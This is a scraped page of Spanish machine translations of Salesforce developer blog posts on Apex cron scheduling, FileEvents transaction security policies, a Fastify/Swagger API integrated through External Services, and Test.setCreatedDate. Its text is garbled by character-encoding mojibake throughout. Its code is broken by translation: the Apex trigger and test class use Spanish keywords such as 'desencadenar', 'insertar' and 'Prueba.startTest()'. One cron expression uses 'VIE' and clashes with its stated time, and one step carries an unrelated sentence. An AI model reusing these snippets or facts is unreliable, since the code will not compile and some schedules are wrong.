Para programar un trabajo que se ejecute los viernes y s谩bados a las 11:00 p. m., utilice la siguiente expresi贸n cron:


System.schedule('AccountSyncJobVie-Sat', '0 0 23 ? * FRI,SAT *', new ScheduleAccountSync());

Programe un trabajo para ejecutar el viernes a las 11:00 p. m.

Para programar un trabajo que se ejecute el viernes a las 11:00 a. m., utilice la siguiente expresi贸n cron:


System.schedule('AccountSyncJobFriOnly', '0 0 23 ? * VIE *', new ScheduleAccountSync());

Programe un trabajo para ejecutar el primer d铆a de cada a帽o a la 01:00 a. m.

Para programar un trabajo que se ejecuta el primer d铆a de cada a帽o, utilice la siguiente expresi贸n cron:


System.schedule('AccountSyncJob-1er d铆a del a帽o', '0 0 1 1 1 ? *', new ScheduleAccountSync());

Programe un trabajo para ejecutar el 煤ltimo d铆a de cada mes a la 01:00 a. m.

Para programar un trabajo que se ejecute el 煤ltimo d铆a de cada mes, utilice la siguiente expresi贸n cron:


System.schedule('AccountSyncJob-脷ltimo d铆a del mes', '0 0 1 L * ? *', new ScheduleAccountSync());

Programe un trabajo para ejecutar el 煤ltimo viernes de cada mes a la 01:00 a. m.

Para programar un trabajo que se ejecute el 煤ltimo viernes de cada mes, utilice la siguiente expresi贸n cron:


System.schedule('AccountSyncJob-Last Friday', '0 0 1 ? * 6L *', new ScheduleAccountSync());

Programe un trabajo para que se ejecute cada d铆a 15 del mes a las 12:01 a. m.

Para programar un trabajo que se ejecute cada d铆a 15 del mes, utilice la siguiente expresi贸n cron:


System.schedule('AccountSyncJob-Every 15th', '0 1 0 15 * ? *', new ScheduleAccountSync());

Programe un trabajo para ejecutar el primer y tercer domingo de cada mes a las 2:00 a. m.

Para programar un trabajo que se ejecute el primer y tercer domingo de cada mes, utilice la siguiente expresi贸n cron:


System.schedule('AccountSyncJob-1st Sunday', '0 0 2 ? 1/1 SUN#1 *', new ScheduleAccountSync());
System.schedule('AccountSyncJob-3rd Sunday', '0 0 2 ? 1/1 SUN#3 *', new ScheduleAccountSync());

Prueba de concepto

Evaluaci贸n formativa:

隆Quiero saber de ti!

驴Qu茅 es una cosa que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntase libre de compartir en los comentarios a continuaci贸n.

Continue reading

Uso de FileEvents para fortalecer la seguridad de los archivos 鈽侊笍

Uso de FileEvents para fortalecer la seguridad de los archivos 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Uso de FileEvents para fortalecer la seguridad de los archivos | Blog de desarrolladores de Salesforce

Siempre que un usuario de Salesforce intente cargar, obtener una vista previa o descargar un archivo a trav茅s de la interfaz de usuario o la API, se producir谩 un FileEvent en el backend. Este evento est谩 incluido en la funci贸n Supervisi贸n de eventos en tiempo real de Salesforce, y los desarrolladores de Salesforce pueden optar por habilitar la transmisi贸n o el almacenamiento para FileEvents como cualquier otro evento asociado con la Supervisi贸n de eventos en tiempo real. Adem谩s, los desarrolladores pueden configurar una pol铆tica de seguridad de transacciones para FileEvents, lo que les permite realizar un seguimiento y tomar medidas en funci贸n de las acciones del usuario en los archivos.

Estamos emocionados de ver que FileEvents se convierte en GA en el lanzamiento de Summer '23 . En esta publicaci贸n, le mostraremos c贸mo puede crear una pol铆tica de seguridad de transacciones sobre un FileEvent y fortalecer la seguridad de los archivos.

Nota: FileEvents est谩 disponible para los clientes que compraron suscripciones complementarias de Salesforce Shield o Salesforce Event Monitoring.

驴Por qu茅 es importante la seguridad de archivos de Salesforce?

Para comprender FileEvents, es importante comprender primero la importancia de la seguridad de archivos en la organizaci贸n de Salesforce. Salesforce almacena una amplia gama de informaci贸n como archivos, incluidos los datos de contacto del cliente, los datos de ventas, las notas de las interacciones con los clientes y las solicitudes de servicio, as铆 como documentos internos como contratos, materiales de marketing y especificaciones de productos. Adem谩s, el sistema puede almacenar archivos relacionados con transacciones financieras como facturas u 贸rdenes de compra.

El prop贸sito de Salesforce Files es mantener todos estos datos en una ubicaci贸n central, para que varios usuarios puedan acceder a ellos f谩cilmente a la vez, mejorando as铆 la colaboraci贸n y la productividad. Es fundamental priorizar la protecci贸n de estos archivos para garantizar la seguridad de la informaci贸n confidencial en su organizaci贸n de Salesforce. Esto no puede ser enfatizado suficientemente.

驴Qu茅 puede hacer FileEvents?

Cuando los empleados renuncian a su trabajo, normalmente contin煤an trabajando durante un breve per铆odo de tiempo antes de abandonar la empresa. En esta situaci贸n, muchas empresas restringen el acceso a archivos confidenciales durante este per铆odo previo a la salida. Se puede implementar una pol铆tica de seguridad de transacciones utilizando FileEvents para evitar que los empleados descarguen archivos etiquetados como "legales" con fines de cumplimiento.

Suposici贸n

  • Su organizaci贸n tiene una licencia complementaria de Salesforce Shield o Event Monitoring
  • Los archivos que los usuarios intentan descargar tienen una etiqueta legal

Veamos c贸mo puede implementar una pol铆tica de seguridad de transacciones utilizando eventos de archivo.

  • Configuraci贸n 鈫 Pol铆ticas de seguridad de transacciones
  • Haga clic en Nuevo y seleccione Apex

En el men煤 desplegable "Evento", seleccione FileEvent . Y en el men煤 desplegable Clase de Apex, seleccione Nueva clase de Apex vac铆a y luego haga clic en el bot贸n Siguiente .

En la selecci贸n Acciones , podemos elegir Mensaje predeterminado o Mensaje de bloqueo personalizado. Lo mismo se aplica al contenido de las notificaciones por correo electr贸nico. Aseg煤rese de que el estado de la pol铆tica est茅 habilitado.

Ahora, la clase est谩ndar de Apex se ha creado autom谩ticamente.

El fragmento de c贸digo siguiente incluye l贸gica para satisfacer las necesidades de cumplimiento. Actualice la clase con este fragmento de c贸digo.

隆Gran trabajo! Ve谩moslo todo en acci贸n

Inicie sesi贸n como usuario e intente descargar el archivo que est谩 etiquetado como "Legal".

La capacidad de descargar los archivos se ha restringido debido a la pol铆tica que creamos.

Conclusi贸n

Ahora que FileEvents est谩 disponible en general, es m谩s f谩cil que nunca configurar pol铆ticas de seguridad de transacciones para administrar archivos. Al aprovechar estos eventos, puede monitorear y responder a la actividad en tiempo real, detectar comportamientos sospechosos r谩pidamente e identificar con precisi贸n amenazas potenciales antes de que se conviertan en un problema.

Adem谩s, aprovechar las capacidades de automatizaci贸n, como alertas o notificaciones autom谩ticas cuando ocurren ciertas actividades en archivos dentro de su organizaci贸n, ayudar谩 a garantizar que cualquier actividad maliciosa se identifique de inmediato para que se puedan tomar las contramedidas adecuadas de inmediato.

Est谩 claro por qu茅 mantener seguros los documentos confidenciales dentro de un sistema de archivo seguro debe ser una prioridad para cualquier empresa que utilice una plataforma de CRM como Salesforce. En conclusi贸n, comprender FileEvents es esencial para mejorar la seguridad de su organizaci贸n de Salesforce.

Sobre el Autor

Jagan Padmanabhan es Arquitecto T茅cnico (Grupo de 脡xito del Cliente) en Salesforce con un enfoque especial en la creaci贸n de aplicaciones seguras a gran escala. Le apasiona desarrollar aplicaciones utilizando productos basados en la seguridad como Salesforce Shield y Event Monitoring. Adem谩s, contribuye activamente a la seguridad de la plataforma como investigador de seguridad. S铆guelo en LinkedIn .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Dise帽e una API Swagger con c贸digo para traer datos a Salesforce 鈽侊笍

Dise帽e una API Swagger con c贸digo para traer datos a Salesforce 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Dise帽e una API de Swagger con c贸digo para llevar datos a Salesforce | Blog de desarrolladores de Salesforce

La integraci贸n de una API externa con su organizaci贸n de Salesforce puede ser una tarea sencilla que no requiere c贸digo si utilizaCredenciales con nombre y Servicios externos . Deber谩 crear una credencial con nombre que apunte a la API y configurar un servicio externo en la interfaz de usuario de configuraci贸n. La clave aqu铆 es proporcionar una especificaci贸n OpenAPI para la API. Si la API no tiene una, puede dise帽arla usted mismo manualmente usando YAML o JSON, usar MuleSoft Anypoint Platform o aprovechar las herramientas y el c贸digo de c贸digo abierto.

En esta publicaci贸n, le presentaremos la especificaci贸n OpenAPI y Swagger, discutiremos los elementos principales de la especificaci贸n y lo guiaremos a trav茅s del dise帽o e implementaci贸n de una API con c贸digo. Usaremos Node.js y Swagger dentro del marco Fastify para esta tarea. Finalmente, integraremos esta API con Salesforce.

OpenAPI y Swagger

OpenAPI es una especificaci贸n para dise帽ar y construir API. Proporciona una forma estandarizada de definir su API para otros, brindando una forma estructurada que incluye puntos finales, tipos de solicitud/respuesta, definiciones de esquema, m茅todos de autenticaci贸n y m谩s. Las especificaciones de OpenAPI est谩n escritas en formatos YAML o JSON, ambos f谩ciles de leer y escribir. Esta especificaci贸n es ampliamente adoptada y respaldada por una variedad de herramientas, lo que la convierte en una opci贸n popular para dise帽ar y documentar API. De hecho, si desea importar una API a Salesforce utilizando servicios externos, deber谩 especificarse con OpenAPI. Adem谩s, Salesforce es miembro de la Iniciativa OpenAPI .

Nota: A la fecha de esta publicaci贸n, la versi贸n actual de la especificaci贸n OpenAPI es 3.1.0.

Swagger , por otro lado, es un conjunto de herramientas ( la mayor铆a de c贸digo abierto ) para implementar la especificaci贸n OpenAPI. Incluye la interfaz de usuario de Swagger, que proporciona una interfaz gr谩fica para comprender y probar las API, y Swagger Codegen, que genera c贸digo SDK de cliente y ap茅ndices de servidor a partir de una especificaci贸n OpenAPI.

La especificaci贸n OpenAPI v2 tambi茅n se conoce como Swagger, pero su nombre cambi贸 cuando se convirti贸 en parte de la iniciativa OpenAPI en 2016.

Estructura b谩sica de la especificaci贸n OpenAPI

La especificaci贸n OpenAPI est谩 organizada en las siguientes secciones clave:

API abierta Define el documento ra铆z y combina la lista de recursos y la declaraci贸n de la API. Requerido
Informaci贸n Proporciona metadatos sobre la API, como el t铆tulo, la descripci贸n, los t茅rminos del servicio, la informaci贸n de contacto, etc. Obligatorio
Servidores Especifica una o m谩s URL base para su API, como producci贸n o preparaci贸n.
Seguridad Define un esquema de seguridad que pueden utilizar las operaciones de la API.
Caminos Describe las rutas y operaciones disponibles para la API. Cada ruta tiene un m茅todo HTTP con los detalles de la operaci贸n.
Etiquetas Agrega metadatos a una sola etiqueta que utiliza el objeto de operaci贸n.
Documentos externos Proporciona una descripci贸n y una URL para la documentaci贸n externa.
Componentes Define un conjunto de objetos reutilizables para diferentes aspectos de la API. Esto puede incluir esquemas, respuestas, par谩metros, ejemplos, cuerpos de solicitud, encabezados, esquemas de seguridad, etc.

Para obtener una explicaci贸n m谩s detallada de cada secci贸n y sus correspondientes definiciones de objeto, consulte la documentaci贸n oficial de la especificaci贸n OpenAPI .

Para fines de demostraci贸n, crearemos una API para administrar una librer铆a. Esta API contar谩 con dos m茅todos HTTP: uno para enumerar los libros disponibles y otro para agregar nuevos libros. A continuaci贸n, encontrar谩 una definici贸n b谩sica de esta API, centr谩ndose en el m茅todo para listar libros ( GET /books ) y sus objetos de respuesta.

Tenga en cuenta que estamos usando tres secciones principales aqu铆: Informaci贸n , Rutas y Componentes . Como se mencion贸 anteriormente, describiremos esta API a medida que la implementemos mediante c贸digo. Para este prop贸sito, utilizaremos Fastify y Fastify Swagger.

Fastify y Fastify Swagger

Fastify es un marco web altamente eficiente y flexible para Node.js. Est谩 dise帽ado para facilitar su uso y ofrecer la m谩xima velocidad sin comprometer la personalizaci贸n. Fastify proporciona una base s贸lida para las aplicaciones web y las API, con funciones como la validaci贸n de solicitudes y respuestas basadas en esquemas, ganchos, complementos y registro autom谩tico. Una de sus principales ventajas radica en su ecosistema, que incluye numerosos complementos centrales y mantenidos por la comunidad.

Uno de estos complementos es fastify-swagger . Este complemento nos permite ofrecer definiciones de Swagger (OpenAPI v2) u OpenAPI v3, que se generan autom谩ticamente a partir de sus esquemas de ruta o de una definici贸n existente de Swagger/OpenAPI. Adem谩s, utilizar谩 fastify-swagger-ui , un complemento que sirve una instancia de Swagger UI dentro de su aplicaci贸n.

Nota: La siguiente demostraci贸n requiere la instalaci贸n de Node.js LTS y, a la fecha de esta publicaci贸n de blog, la 煤ltima versi贸n es v18.16.0.

Comencemos a crear la API de su librer铆a instalando Fastify CLI y generando un nuevo proyecto ejecutando:

Luego, vayamos a la carpeta del proyecto e instalemos las dependencias fastify-swagger y fastify-swagger-ui .

Nota: En esta demostraci贸n, se centrar谩 en tres aspectos principales: agregar compatibilidad con Swagger a Fastify, definir rutas de API y delinear esquemas y tipos de respuesta. No explicaremos c贸mo integrar la API con una base de datos. Si est谩 interesado en explorar la fuente completa del proyecto, est谩 disponible en el repositorio de ejemplos de codeLive.

Agreguemos compatibilidad con Swagger a Fastify editando el archivo app.js , luego importemos Swagger y SwaggerUI y registr茅moslos como complementos.

aplicaci贸n.js

En la configuraci贸n del complemento de Swagger, tiene la opci贸n de pasar toda la definici贸n de especificaci贸n de OpenAPI, o puede aprovechar el enfoque din谩mico que ofrece el complemento. Para esta demostraci贸n, utilizar谩 el enfoque din谩mico. Dado que el 煤nico campo obligatorio es info , definir谩 los metadatos de su API all铆, adem谩s, la secci贸n refResolver se encarga de nombrar las referencias de definici贸n de esquema.

Y para SwaggerUI, solo especifica la ruta donde se alojar谩 el sitio de documentaci贸n.

Ahora vamos a crear una carpeta schemas . Aqu铆 es donde definir谩 los esquemas de su API. Para esta demostraci贸n, definir谩 un esquema book y un esquema error .

esquemas/index.js

Los esquemas representan la estructura de los objetos con los que trabajar谩, tanto para los cuerpos de solicitud como para los de respuesta. Para la especificaci贸n OpenAPI, el complemento Swagger agregar谩 autom谩ticamente estos objetos en el campo components .

Finalmente, definamos las rutas API para GET /books y POST /books usando Fastify. Primero, deber谩 registrar los esquemas dentro de Fastify. Luego, especificar谩 los objetos de respuesta y solicitud para cada ruta que haga referencia a esos esquemas.

rutas/root.js

{ // … look at the code repository for a complete implementation } ) // POST /books fastify.post( ‘/books’, { schema: { description: "Create a book", body: { $ref: ‘book#’, required: [‘author’, ‘title’] }, response: { 201: { description: ‘Returns the book that has been created’, $ref: ‘book#’ }, 500: { description: ‘Returns an error’, $ref: ‘error#’ } } } }, async (request, reply) => { const { title, author } = request.body const id = randomUUID() const client = await fastify.pg.connect() try { const { rows: books } = await client.query( ‘INSERT INTO books(id, title, author) VALUES($1, $2, $3) RETURNING *’, [id, title, author] ) const [newBook] = books reply.code(201).send(newBook) } catch (error) { reply .status(500) .send({ code: 500, message: `An error ocurred: ${error.message}` }) } finally { client.release() } } ) // GET / fastify.get(‘/’, { schema: { hide: true } }, async function (request, reply) { reply.status(301).redirect(‘/api-docs’) })
} “>

Analicemos la ruta POST /books :

  • La funci贸n fastify.post define el m茅todo HTTP.
  • El primer argumento especifica la ruta: /books.
  • El segundo argumento especifica el schema , que incluye el body : el objeto de carga 煤til que espera la API. (Tenga en cuenta que es una referencia al esquema del book ). Tambi茅n incluye varios objetos response para esa ruta, que se asignan a los c贸digos de estado HTTP correspondientes 201 y 500 .
  • El tercer argumento es la implementaci贸n de la ruta. En este caso, est谩 insertando el objeto en la base de datos y devolviendo el nuevo objeto. Si este proceso falla, devolver谩 un objeto de error. Es importante tener en cuenta que est谩 utilizando los mismos esquemas que defini贸 anteriormente.

Nota: Tambi茅n tiene la opci贸n de excluir ciertas rutas de la documentaci贸n pasando hide: true en el objeto de esquema de esa ruta espec铆fica, como se demuestra en GET / route.

Su API est谩 lista, as铆 que ejec煤tela localmente para echar un vistazo a la interfaz de SwaggerUI ejecutando:

Y navegue a http://localhost:3000/api-docs para ver las diferentes rutas, su documentaci贸n y tener una forma de probarlas directamente desde la interfaz.

Si desea probarlo e implementarlo en Heroku, aseg煤rese de actualizar el script start en el archivo package.json con lo siguiente.

Adem谩s, aseg煤rese de tener acceso a una base de datos Heroku PostgreSQL y cree el esquema de la base de datos ejecutando:

<dx-code-block title language code-block="heroku pg:psql

Nota: El archivo database.sql est谩 disponible en el repositorio de ejemplos de codeLive.

Luego puede implementarlo ejecutando:

Si desea ver c贸mo se ve implementado, vea mi versi贸n que se ejecuta en Heroku .

Integraci贸n de una API externa con Salesforce

Ahora que tiene una API de acceso p煤blico, integr茅mosla con Salesforce como un servicio externo.

Primero, deber谩 crear una credencial con nombre para esta API. En la interfaz de usuario de configuraci贸n, vaya a Seguridad > Credenciales con nombre y cree una credencial externa con un protocolo de autenticaci贸n personalizado y una entidad de seguridad.

Aseg煤rese de que la credencial externa tenga una entidad principal a la que le haya asignado permisos en Acceso principal de credenciales externas en su conjunto de permisos.

Luego, cree una credencial con nombre que haga referencia a la credencial externa con la URL que apunta a la API p煤blica.

A continuaci贸n, vaya a Integraciones > Servicios externos y agregue un nuevo servicio externo desde una especificaci贸n de API, seleccione la credencial con nombre y configure la ruta relativa a la ruta de especificaci贸n de OpenAPI. En su demostraci贸n, ser谩 /api-docs/json .

Despu茅s de eso, guarde sus cambios y seleccione las operaciones que desea importar a Salesforce, revise las operaciones y finalice.

Como puede ver, las operaciones que ha seleccionado se han importado correctamente, especificando tanto los par谩metros de entrada como los de salida.

Ahora podr谩 invocar este servicio externo desde Flow, Apex, Einstein Bots y OmniStudio.

Conclusi贸n

OpenAPI y los servicios externos de Salesforce brindan una poderosa combinaci贸n para integrar API externas en su organizaci贸n de Salesforce. Al aprovechar el enfoque estandarizado de OpenAPI para definir las API y la capacidad de Salesforce para consumir f谩cilmente estas definiciones e invocarlas desde soluciones de c贸digo bajo y pro-c贸digo, los desarrolladores como usted pueden optimizar el proceso de conexi贸n a servicios externos y mejorar las capacidades de sus aplicaciones de Salesforce.

Si est谩 interesado en obtener m谩s informaci贸n sobre los servicios externos , puede encontrar una lista de recursos de aprendizaje a continuaci贸n, incluidos videos que muestran c贸mo invocarlos desde Flow y Apex.

Recursos de aprendizaje

Sobre el Autor

Juli谩n Duque es un defensor principal de desarrolladores en Salesforce, donde se enfoca en Node.js, JavaScript y desarrollo backend. Le apasiona la educaci贸n y el intercambio de conocimientos y ha estado involucrado en la organizaci贸n de comunidades tecnol贸gicas y de desarrolladores desde 2001.

S铆galo en Twitter @julian_duque, @julianduque.co en Bluesky social o LinkedIn.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Establecer fecha de creaci贸n para sObject de clase de prueba en Apex

Establecer fecha de creaci贸n para sObject de clase de prueba en Apex

脷ltima actualizaci贸n el 5 de junio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • 驴C贸mo se puede establecer la Fecha de creaci贸n para un sObject dentro de un contexto de prueba?

Objetivos:

Despu茅s de leer este blog, podr谩:

  • Obtenga una comprensi贸n integral del m茅todo setCreatedDate relacionado con las pruebas de Apex
  • Establecer la fecha de creaci贸n para el registro de la clase de prueba
  • y mucho m谩s

馃憠 En el pasado escrib铆 algunos art铆culos sobre Apex . 驴Por qu茅 no echarles un vistazo mientras est谩s en ello?

  1. Calcular la cobertura general del c贸digo en Salesforce
  2. Comprobar si una cadena es nula, vac铆a o en blanco en Apex

Ben Halpern es un desarrollador Jr. de Salesforce en Gurukul On Cloud (GoC) . Cre贸 un disparador de Apex para el objeto Lead.


desencadenar LeadTrigger en Lead (antes de la actualizaci贸n) { if(Desencadenador.esAntes){ si (Desencadenador.Isupdate){ para (Lead myLead:trigger.new){ if(myLead.LeadSource==null && myLead.createddate== Fecha.hoy().addDays(-1)){ //hacer algo } } } }
}

Sabe c贸mo escribir la clase de prueba para el c贸digo anterior. Necesita ayuda para crear un registro con una fecha pasada dentro de la clase de prueba.

Enfoque de Campe贸n de Automatizaci贸n (I-do):

Para establecer la fecha de creaci贸n de un sObject en una clase de prueba de Apex, puede utilizar el m茅todo Test.setCreatedDate(recordId, createdDatetime) . Esto le permite especificar una fecha y hora deseadas para el campo Fecha de creaci贸n del registro de sObject dentro de la clase de prueba.

A continuaci贸n se muestran detalles sobre los par谩metros setCreatedDate .

Nombre de los par谩metros
Detalles
ID de registro Representa el ID de un sObject.
Fecha y hora de creaci贸n Representa el valor para asignar al campo Fecha de creaci贸n del sObject.

Adem谩s, es importante tener en cuenta que el m茅todo setCreatedDate no se puede utilizar dentro de los m茅todos anotados con @isTest(SeeAllData=true). Hagamos una pausa aqu铆, familiar铆cese con el m茅todo de prueba s etCreatedDate Apex.

Pr谩ctica guiada (nosotros hacemos):

Con estos m茅todos, puede determinar de forma eficaz si un campo de texto es nulo, est谩 vac铆o o est谩 en blanco en Apex. Veamos esto en acci贸n:

  1. Haga clic en Configuraci贸n | Consola de desarrollador .  
  2. Para crear una clase de prueba de Apex, haga clic en Archivo | Nuevo | Clase 谩pice.
     @esPrueba clase privada LeadTrigger_Test { static testMethod void testSetCreatedDate() { Lead l = new Lead(LastName='myLastname', Company='myCompany'); insertar l; Test.setCreatedDate(l.Id, Date.today().addDays(-1)); Prueba.startTest(); Lead myLead = [SELECCIONE Id, Nombre, Apellido, Empresa, Fecha de creaci贸n FROM Lead WHERE Apellido ='miApellido' l铆mite 1]; myLead.FirstName = 'myFirstname'; actualizar myLead;
    System.assertEquals(myLead.CreatedDate, Date.today().addDays(-1)); Prueba.detenerPrueba(); }
    }
Continue reading